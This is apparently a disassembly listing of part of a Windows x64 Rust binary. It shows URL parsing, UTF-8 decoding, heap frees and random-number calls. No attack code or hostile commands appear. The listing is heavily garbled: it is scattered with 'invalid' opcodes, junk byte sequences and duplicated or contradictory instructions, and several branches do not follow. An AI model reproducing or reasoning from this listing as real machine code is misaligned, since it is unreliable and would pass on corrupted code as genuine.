add r10, 2
cmp r9, rdx
cmovne r9, r10
mov r10, r9
cmp r9, rdx
je 0x1400a0820
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400a07b0
cmp r11b, 0xe0
jb 0x1400a07a5
cmp r11b, 0xed
jne 0x1400a07f3
cmp r9, rdx
je 0x1400a0820
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400a0820
cmp byte [r10 + 1], 0x9f
ja 0x1400a1303
add r10, 3
mov r9, r10
jmp 0x1400a07b0
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x1400a07b0
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x1400a07b0
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], r8
mov qword [rsp + 0xd8], rcx
lea rdx, [0x14018dd8c]
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0xc8]
mov r8d, 5
call fcn.1400a1410
movdqa xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x270], xmm2
movaps xmmword [rsp + 0x260], xmm1
movdqa xmmword [rsp + 0x250], xmm0
mov rax, r14
neg rax
jo 0x1400a08ed
cmp qword [rsp + 0x268], 0
jne 0x1400a08ed
mov qword [rsp + 0x230], r14
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x240], rsi
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp dword [rax + 0x98], 1
jne 0x1400a0937
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov rax, qword [rcx + 0xa0]
mov rcx, qword [rcx + 0xa8]
jmp 0x1400a0980
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
invalid
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x270], dl
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
sub dword [rsp + 0x50], ecx
invalid
sub dword [rsp + 0x50], ecx
movaps xmmword [rsp + 0x40], xmm0
shl r14, 1
test r14, r14
je 0x1400a1097
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a1097
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
out dx, eax
shl byte [rsi + 0xf], 0x7f
and al, 0x40
lea rcx, [rsp + 0x40]
mov edx, 0x10
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov edx, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0x98], 1
mov qword [rdx + 0xa8], rcx
lea rdx, [rax + 1]
mov r8d, dword [0x14019f30c]
mov r9, qword gs:[0x58]
mov r8, qword [r9 + r8*8]
mov qword [r8 + 0xa0], rdx
movaps xmmword [rsp + 0x1f0], xmm6
movaps xmmword [rsp + 0x200], xmm7
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], rcx
cmp rsi, 1
jbe 0x1400a09f3
cmp rsi, 0xf
ja 0x1400a0e00
add byte [rax], al
add byte [rax], al
xor eax, eax
nop word cs:[rax + rax]
cmp byte [rdi + rax], 0x3d
je 0x1400a0a02
inc rax
cmp rsi, rax
cmp esi, eax
cmp esi, eax
jne 0x1400a09e0
jmp 0x1400a0ec2
jne 0x1400a0ec2
cmp byte [rdi], 0x3d
jne 0x1400a0eef
mov qword [rsp + 0x20], 1
lea r9, [0x14015e320]
lea rcx, [rsp + 0x168]
mov rdx, rdi
mov r8, rsi
call fcn.14000da80
mov qword [rsp + 0x1d0], 0
mov qword [rsp + 0x1d8], rsi
mov word [rsp + 0x1e0], 1
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x148], 0
lea r13, [rsp + 0x150]
jmp 0x1400a0a6e
cmp byte [rsp + 0x1e1], 0
jne 0x1400a1041
mov r12, qword [rsp + 0x1b0]
mov rcx, rdi
lea rdx, [rsp + 0x168]
call fcn.1400a2700
jp 0x1400a0aa0
add byte [rax], al
jp 0x1400a0aa0
add byte [rax], al
test byte [rsp + 0x40], 1
je 0x1400a0ab0
mov rbp, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x1d0]
sub rbp, rcx
sub ebp, ecx
add r12, rcx
mov qword [rsp + 0x1d0], rax
add bl, ch
invalid
add bl, ch
nop
cmp byte [rsp + 0x1e1], 0
jne 0x1400a1041
mov byte [rsp + 0x1e1], 1
add byte [rcx], al
cmp byte [rsp + 0x1e0], 1
jne 0x1400a0af0
mov r12, qword [rsp + 0x1d0]
mov rbp, qword [rsp + 0x1d8]
jmp 0x1400a0b09
invalid
mov r12, qword [rsp + 0x1d0]
mov rbp, qword [rsp + 0x1d8]
cmp rbp, r12
je 0x1400a1041
sub rbp, r12
add r12, qword [rsp + 0x1b0]
mov qword [rsp + 0x20], 1
lea rbx, [rsp + 0xc8]
mov rcx, rbx
mov rdx, r12
mov r8, rbp
lea r9, [0x14015bb63]
add al, ch
iretd
idiv bh
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], rbp
mov word [rsp + 0x140], 1
mov rcx, rbx
call fcn.1400c95b0
test rax, rax
je 0x1400a1101
add al, ch
iretd
mov r14, rax
mov r12, rdx
movzx eax, byte [0x14019f308]
mov edx, 0x40
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a13ad
mov rbp, rax
mov qword [rax], r14
mov qword [rax + 8], r12
mov qword [rsp + 0x150], 4
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], 1
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x80], xmm0
movdqu xmm0, xmmword [rsp + 0xc8]
movups xmm1, xmmword [rsp + 0xd8]
movups xmm2, xmmword [rsp + 0xe8]
movups xmm3, xmmword [rsp + 0xf8]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
mov r12d, 1
mov ebx, 0x18
jmp 0x1400a0c59
mov qword [rbp + rbx - 8], rax
mov qword [rbp + rbx], rdx
inc r12
mov qword [rsp + 0x160], r12
add rbx, 0x10
mov rcx, rdi
call fcn.1400c95b0
test rax, rax
je 0x1400a0ca0
cmp r12, qword [rsp + 0x150]
jne 0x1400a0c40
mov rcx, r13
mov r14, rdx
mov rdx, r12
mov r15, rax
call fcn.1401275e0
mov rdx, r14
mov rax, r15
mov rbp, qword [rsp + 0x158]
lodsb al, byte [rsi]
and al, 0x58
add dword [rax], eax
add bl, ch
scasd eax, dword [rdi]
lodsb al, byte [rsi]
and al, 0x58
add dword [rax], eax
add bl, ch
scasd eax, dword [rdi]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0x50
add dword [rax], eax
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x58
add dword [rax], eax
add byte [rcx - 0x7d], cl
cld
add cl, byte [rdi]
test dword [rax + 4], edx
add byte [rax], al
mov rbx, qword [rsp + 0x150]
mov rbp, qword [rsp + 0x158]
cmp r12, 2
jne 0x1400a110a
lea rax, [rbp + 0x10]
mov qword [rsp + 0x248], rax
mov rcx, qword [rbp + 0x10]
adc byte [rax - 0x75], cl
push rbp
sbb al, ch
mov ebp, 0x48000018
test eax, eax
adc byte [rax - 0x75], cl
push rbp
sbb al, ch
mov ebp, 0x48000018
test eax, eax
je 0x1400a0d20
mov r14, qword [rbp + 0x10]
mov r12, qword [rbp + 0x18]
test r12, r12
je 0x1400a0da0
js 0x1400a13ea
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r12
call fcn.1400f8ae0
test rax, rax
je 0x1400a13da
mov rsi, rax
mov r15, r12
jmp 0x1400a0da8
lea rax, [rsp + 0x248]
mov qword [rsp + 0x150], rax
lea rax, [0x1400ca4e0]
mov qword [rsp + 0x158], rax
lea rax, [0x14015b9f0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 1
lea rcx, [rsp + 0x288]
mov rdx, rdi
call fcn.140006d30
dec dword [rbx + rcx*4 - 0x44]
and al, 0x88
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x98
add al, byte [rax]
add bl, ch
invalid
dec dword [rbx + rcx*4 - 0x44]
and al, 0x88
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x98
add al, byte [rax]
add bl, ch
and al, 0x66
nop word cs:[rax + rax]
mov esi, 1
xor r15d, r15d
mov rcx, rsi
mov rdx, r14
mov r8, r12
call fcn.140121660
mov rax, rsi
mov rdx, qword [rbp]
mov r8, qword [rbp + 8]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r12
lea rcx, [rsp + 0x1f0]
mov r9, rdi
call fcn.1400a1410
test rbx, rbx
je 0x1400a0a60
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a0a60
lea rax, [rdi + 7]
and rax, 0xfffffffffffffff8
sub rax, rdi
jne 0x1400a0e77
lea rcx, [rsi - 0x10]
xor eax, eax
invalid
ror byte [rax - 0x46], 0xc2
ret 0xc2c2
movabs rdx, 0xc2c2c2c2c2c2c2c2
movabs r8, 0x101010101010101
movabs r9, 0x8080808080808080
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r10, qword [rdi + rax]
mov r11, qword [rdi + rax + 8]
mov r14, r10
xor r14, rdx
mov r15, r11
xor r15, rdx
xlatb
xlatb
add r15, r8
or r15, r11
add r14, r8
or r14, r10
and r14, r15
not r14
test r14, r9
jne 0x1400a0e9f
add rax, 0x10
cmp rax, rcx
jbe 0x1400a0e40
jmp 0x1400a0e9f
xor ecx, ecx
nop dword [rax]
cmp byte [rdi + rcx], 0x3d
je 0x1400a0a02
inc rcx
cmp rax, rcx
jne 0x1400a0e80
lea rcx, [rsi - 0x10]
cmp rax, rcx
jbe 0x1400a0e13
cmp rax, rsi
je 0x1400a0ec2
nop word cs:[rax + rax]
cmp byte [rdi + rax], 0x3d
je 0x1400a0a02
inc rax
cmp rsi, rax
jne 0x1400a0eb0
mov rcx, rdi
stc
mov rdx, rsi
call fcn.1400a2590
test rax, rax
je 0x1400a0f57
mov r14, rax
mov r15, rdx
test rsi, rsi
je 0x1400a0ee8
jns 0x1400a0f05
call fcn.1400067e0
mov ebx, 1
jmp 0x1400a0f22
mov rcx, rdi
mov rdx, rsi
call fcn.1400a2590
test rax, rax
je 0x1400a0f57
mov r14, rax
mov r15, rdx
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rsi
call fcn.1400f8ae0
test rax, rax
je 0x1400a13fa
mov rbx, rax
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.140121660
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x1f0]
lea r9, [rsp + 0x40]
mov rdx, r14
mov r8, r15
jmp 0x1400a103c
lea r14, [rsp + 0x230]
mov qword [rsp + 0xc8], r14
lea r15, [0x140001320]
mov qword [rsp + 0xd0], r15
lea r12, [0x14015b9f0]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 1
lea rsi, [rsp + 0x168]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140006d30
lea rdx, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
lea rdi, [rsp + 0x1f0]
mov r8d, 4
mov rcx, rdi
mov r9, rsi
call fcn.1400a1410
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], r15
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x150]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rsi, [rsp + 0xc8]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140006d30
lea rdx, [0x14018dd8c]
mov r8d, 5
mov rcx, rdi
mov r9, rsi
call fcn.1400a1410
movaps xmm0, xmmword [rsp + 0x1f0]
movaps xmm1, xmmword [rsp + 0x200]
movaps xmm2, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
cmp qword [rsp + 0x230], 0
je 0x1400a108a
mov r8, qword [rsp + 0x238]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x250]
call fcn.1400ceb00
movzx eax, byte [0x14019f308]
mov edx, 0x40
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a13bc
mov qword [rax], 1
mov qword [rax + 8], 1
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
movaps xmm6, xmmword [rsp + 0x2a0]
movaps xmm7, xmmword [rsp + 0x2b0]
add rsp, 0x2c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov bl, 1
mov ebp, 8
jmp 0x1400a1110
test rbx, rbx
sete bl
mov rsi, qword [rsp + 0x208]
test rsi, rsi
je 0x1400a1233
mov rdi, qword [rsp + 0x1f0]
movdqa xmm0, xmmword [rdi]
pmovmskb r15d, xmm0
not r15d
lea r14, [rdi + 0x10]
jmp 0x1400a1169
lea r13d, [r15 - 1]
and r13d, r15d
dec rsi
lea rcx, [r12 - 0x30]
mov rax, qword [r12 - 0x48]
mov rdx, qword [r12 - 0x40]
mov r8, qword [r12 - 0x38]
call qword [rax + 0x10]
mov r15d, r13d
test rsi, rsi
je 0x1400a11e5
test r15w, r15w
jne 0x1400a1191
nop
movdqa xmm0, xmmword [r14]
pmovmskb r15d, xmm0
add rdi, 0xfffffffffffff980
add r14, 0x10
cmp r15d, 0xffff
je 0x1400a1170
not r15d
tzcnt eax, r15d
neg rax
imul rax, rax, 0x68
lea r12, [rdi + rax]
cmp qword [rdi + rax - 0x68], 0
je 0x1400a11bd
mov r8, qword [r12 - 0x60]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [r12 - 8], 2
je 0x1400a1140
lea rcx, [r12 - 0x10]
mov rax, qword [r12 - 0x28]
mov rdx, qword [r12 - 0x20]
mov r8, qword [r12 - 0x18]
call qword [rax + 0x10]
jmp 0x1400a1140
mov rsi, qword [rsp + 0x1f8]
test rsi, rsi
je 0x1400a1205
mov rcx, qword [rsp + 0x1f0]
lea r8, [rsi + 0x11]
mov dl, 0xff
call fcn.140121d00
mov qword [rsp + 0x208], 0
lea rax, [rsi + 1]
mov rcx, rax
shr rcx, 3
and rax, 0xfffffffffffffff8
sub rax, rcx
cmp rsi, 8
cmovb rax, rsi
mov qword [rsp + 0x200], rax
test bl, bl
jne 0x1400a1041
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a1041
cmp dword [rsp + 0x148], 1
jne 0x1400a12a1
mov r14, r15
jmp 0x1400a12c2
shl rax, 1
test rax, rax
je 0x1400a062f
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a062f
shl rax, 1
test rax, rax
je 0x1400a02cf
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a02cf
movabs r14, 0x8000000000000000
test r15, r15
je 0x1400a12c2
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0xffffffff7fffffff
cmp rbx, rax
ja 0x14009fe6e
mov rcx, rbx
call qword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x14009fe6e
shl rax, 1
test rax, rax
je 0x1400a0747
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a0747
shl rax, 1
test rax, rax
je 0x1400a0857
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a0857
shl rax, 1
test rax, rax
je 0x1400a03e7
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a03e7
shl rax, 1
test rax, rax
je 0x1400a009f
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a009f
shl rax, 1
test rax, rax
je 0x1400a01b7
jmp 0x14009ffc8
lea rcx, [rsp + 0x168]
mov rdx, rdi
mov r8, rsi
call fcn.140122420
mov rcx, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x178]
jmp 0x14009fd3f
mov ecx, 8
mov edx, 0x40
call fcn.140122170
mov ecx, 8
mov edx, 0x40
call fcn.140122190
mov ecx, 8
mov edx, 8
call fcn.140122190
mov eax, 1
mov qword [rsp + 0x148], rax
mov rsi, r12
mov rcx, qword [rsp + 0x148]
mov rdx, rsi
call fcn.140122170
mov ecx, 1
mov rdx, rsi
call fcn.140122170
int3
cmp qword [rsp + 0x180], 2
setne bpl
cmp qword [rbx], 0
je 0x1400a1963
add byte [rax - 0x77], cl
lodsb al, byte [rsi]
and al, 0x28
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x170], al
movups xmmword [rsp + 0x130], xmm0
lea r15, [rsp + 0x140]
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x140], xmm0
movups xmmword [rsp + 0x150], xmm1
mov byte [rsp + 0x160], 2
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0x161], eax
mov dword [rsp + 0x164], ecx
test r14, r14
je 0x1400a22ee
mov rdi, qword [rsp + 0xd0]
mov r12, qword [rsp + 0xd8]
mov rax, rdi
neg rax
mov r13, qword [rsp + 0xe0]
jno 0x1400a2359
test r13, r13
je 0x1400a2340
js 0x1400a23e6
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r13
call fcn.1400f8ae0
add eax, 0xc0854800
add eax, 0xc0854800
je 0x1400a2575
mov rbx, rax
jmp 0x1400a2345
mov rdi, qword [rsp + 0xd0]
mov r12, qword [rsp + 0xd8]
mov rax, rdi
neg rax
mov r13, qword [rsp + 0xe0]
jno 0x1400a23bf
test r13, r13
je case.0x1400679a0.574
js 0x1400a23e6
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r13
call fcn.1400f8ae0
test rax, rax
test eax, eax
test eax, eax
je 0x1400a2575
mov rbx, rax
jmp 0x1400a23ab
mov ebx, 1
mov rcx, rbx
mov rdx, r12
mov r8, r13
call fcn.140121660
mov r12, rbx
mov rdi, r13
mov rsi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xf8]
mov rax, rsi
neg rax
mov rbx, qword [rsp + 0x100]
jno 0x1400a240b
test rbx, rbx
je 0x1400a23eb
js 0x1400a23e6
mov r14, r15
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbx
call fcn.1400f8ae0
test rax, rax
je 0x1400a2582
mov r15, rax
jmp 0x1400a23f4
mov ebx, 1
mov rcx, rbx
mov ecx, ebx
mov rdx, r12
mov r8, r13
call fcn.140121660
mov r12, rbx
mov rdi, r13
mov rsi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xf8]
mov rax, rsi
neg rax
mov rbx, qword [rsp + 0x100]
jno 0x1400a240b
test rbx, rbx
je 0x1400a23eb
jns 0x1400a2384
call fcn.1400067e0
mov r14, r15
mov r15d, 1
mov rcx, r15
mov rdx, rbp
mov r8, rbx
call fcn.140121660
mov rbp, r15
mov rsi, rbx
mov r15, r14
mov qword [rsp + 0x20], rbx
mov rcx, r15
mov rdx, r12
mov r8, r13
mov r9, rbp
call fcn.1400a9660
test rsi, rsi
je 0x1400a2438
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
je 0x1400a2459
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x130]
mov r14, qword [rsp + 0x118]
mov r12, qword [rsp + 0x120]
mov r13, qword [rsp + 0x128]
and al, 0x28
add dword [rax], eax
add byte [rdi], cl
adc byte [rcx], al
and al, 0x28
add dword [rax], eax
add byte [rdi], cl
adc byte [rcx], al
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
movzx eax, byte [rsp + 0x160]
mov edx, dword [rcx + 0x31]
mov ecx, dword [rcx + 0x34]
mov dword [rsp + 0x43], ecx
mov dword [rsp + 0x40], edx
mov rbp, qword [rsp + 0x50]
push rax
mov rdi, qword [rsp + 0x48]
mov qword [rsp + 0x180], r14
mov qword [rsp + 0x188], r12
mov qword [rsp + 0x190], r13
movaps xmm0, xmmword [rsp + 0x170]
movups xmmword [rsp + 0x198], xmm0
movdqa xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movdqu xmmword [rsp + 0x1a8], xmm0
movups xmmword [rsp + 0x1b8], xmm1
mov byte [rsp + 0x1c8], al
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rbx - 0x74bfdbbc], cl
and al, 0x43
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rbx - 0x74bfdbbc], cl
and al, 0x43
mov dword [rsp + 0x1c9], eax
mov dword [rsp + 0x1cc], ecx
test rbp, rbp
mov r8, qword [rsp + 0x28]
and al, 0x28
je 0x1400a1938
mov r15, qword [rsp + 0x58]
jmp 0x1400a1921
mov ecx, 1
mov rdx, r13
call fcn.140122170
mov ecx, 1
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.140122170
int3
lea ecx, str.:__assertion_failed:__self.serialization_scheme_end_as_usize.._.starts_with__:____
lea rbx, [rsp + 0x48]
mov rcx, rbx
invalid
mov rdx, rsi
mov r8, rdi
call fcn.14000da80
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.1400a2700
mov rcx, qword [rsp + 0x38]
mov r9, rcx
cmp qword [rsp + 0x30], 0
sete al
test rcx, rcx
sete dl
or dl, al
je 0x1400a25f2
invalid
invalid
xor eax, eax
jmp 0x1400a26ef
cmp rcx, rdi
jae 0x1400a2618
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp rdx, rcx
je 0x1400a26ec
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400a2660
inc rdx
cmp r8d, 0x2f
jne 0x1400a26e0
jmp 0x1400a26ef
mov r10d, r8d
and r10d, 0x1f
movzx edi, byte [rdx + 1]
and edi, 0x3f
cmp r8b, 0xdf
jbe 0x1400a26b3
movzx r8d, byte [rdx + 2]
shl edi, 6
add al, cl
out 6, eax
and r8d, 0x3f
or r8d, edi
cmp r11b, 0xf0
jb 0x1400a26c9
invalid
movzx r11d, byte [rdx + 3]
add rdx, 4
and r10d, 7
shl r10d, 0x12
loop 0x1400a26ac
shl r8d, 6
and r11d, 0x3f
or r11d, r8d
or r11d, r10d
mov r8d, r11d
cmp r8d, 0x2f
cmp eax, 0x2f
jne 0x1400a26e0
jmp 0x1400a26ef
add rdx, 2
shl r10d, 6
shl edx, 6
or r10d, edi
mov r8d, r10d
cmp r8d, 0x2f
jne 0x1400a26e0
jmp 0x1400a26ef
add rdx, 3
shl r10d, 0xc
or r8d, r10d
cmp r8d, 0x2f
je 0x1400a26ef
cmp r8d, 0x3a
jne 0x1400a2630
jmp 0x1400a26ef
mov rax, rsi
mov rdx, r9
add rsp, 0xb0
add byte [rbx + 0x5f], bl
add byte [rbx + 0x5f], bl
pop rsi
ret
add cl, ch
xor dword [rcx], eax
add byte [rax], al
cmp byte [rdx + 0x1a], 0
jne 0x1400a2898
mov r8, qword [rdx + 8]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
movzx r10d, byte [rdx + 0x18]
jmp 0x1400a2767
add r8, r11
mov qword [rdx + 8], r8
mov r11d, r10d
xor r10b, 1
test r8, r8
je 0x1400a2796
cmp r8, r9
jae 0x1400a2790
cmp byte [rax + r8], 0xbf
jg 0x1400a2796
jmp 0x1400a28a6
jne 0x1400a28a6
cmp r8, r9
je 0x1400a287b
movzx ebx, byte [rax + r8]
movzx esi, bl
test sil, sil
js 0x1400a27f0
test r11b, 1
jne 0x1400a2859
mov r11d, 1
cmp esi, 0x80
jb 0x1400a2760
mov r11d, 2
cmp esi, 0x800
jb 0x1400a2760
cmp esi, 0x10000
mov r11d, 4
sbb r11, 0
jmp 0x1400a2760
mov edi, esi
and edi, 0x1f
movzx ebp, byte [rax + r8 + 1]
insb byte [rdi], dx
add byte [rcx], al
and ebp, 0x3f
cmp sil, 0xdf
jbe 0x1400a2837
movzx esi, byte [rax + r8 + 2]
add byte [rdx], al
shl ebp, 6
and esi, 0x3f
or esi, ebp
cmp bl, 0xf0
jb 0x1400a284a
movzx ebx, byte [rax + r8 + 3]
and edi, 7
shl edi, 0x12
shl esi, 6
and ebx, 0x3f
or ebx, esi
or ebx, edi
mov esi, ebx
test r11b, 1
je 0x1400a27b6
jmp 0x1400a2859
shl edi, 6
or edi, ebp
mov esi, edi
test r11b, 1
je 0x1400a27b6
jmp 0x1400a2859
shl edi, 0xc
or esi, edi
test r11b, 1
je 0x1400a27b6
mov byte [rdx + 0x18], r10b
mov r9, r8
jmp 0x1400a2885
mov byte [rdx + 0x18], r10b
test r11b, 1
je 0x1400a2894
mov qword [rcx + 8], r9
mov qword [rcx + 0x10], r9
mov eax, 1
jmp 0x1400a289a
mov byte [rdx + 0x1a], 1
xor eax, eax
mov qword [rcx], rax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov byte [rdx + 0x18], r10b
lea rcx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rdx, r9
call fcn.140122bb0
int3
mov edx, dword [rcx + 0x30]
mov r8, qword [rcx + 0x38]
mov rsi, rcx
mov rcx, rax
call qword [r9 + 0x10]
mov rcx, rsi
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x18]
add rcx, 0x20
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add byte [rax], al
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x60], xmm0
add byte [rdi], cl
sub dword [rsp + 0x60], eax
movdqu xmm0, xmmword [rsp + 0x70]
movdqu xmm1, xmmword [rsp + 0x80]
jo 0x1400a2c3f
movq mm1, qword [rsp + 0x80]
movdqu xmm2, xmmword [rsp + 0x90]
movdqu xmm3, xmmword [rsp + 0xa0]
add byte [rax], al
add bl, dh
movq mm3, qword [rsp + 0xa0]
movdqa xmmword [rsp + 0x50], xmm3
movdqa xmmword [rsp + 0x40], xmm2
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x20], xmm0
cmp byte [rsp + 0x68], 2
jne 0x1400a2d87
mov byte [rsi + 0x20], 2
jmp 0x1400a2dc6
movdqu xmm2, xmmword [rdi + rdx]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r9d, xmm3
test r9d, r9d
jne 0x1400a2d2d
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
shl dword [rsi + 0x44], 1
pmovmskb ecx, mm2
test r9d, r9d
jne case.0x1400a2bee.2
add rdx, r8
add rdx, 0x10
add r8, 0x10
rcl byte [rax], 0x48
and edx, ecx
rcl byte [rax], 0x48
and edx, ecx
jmp 0x1400a2cea
lea r10d, [r9 - 1]
and r10w, r9w
mov r9d, r10d
je 0x1400a2d01
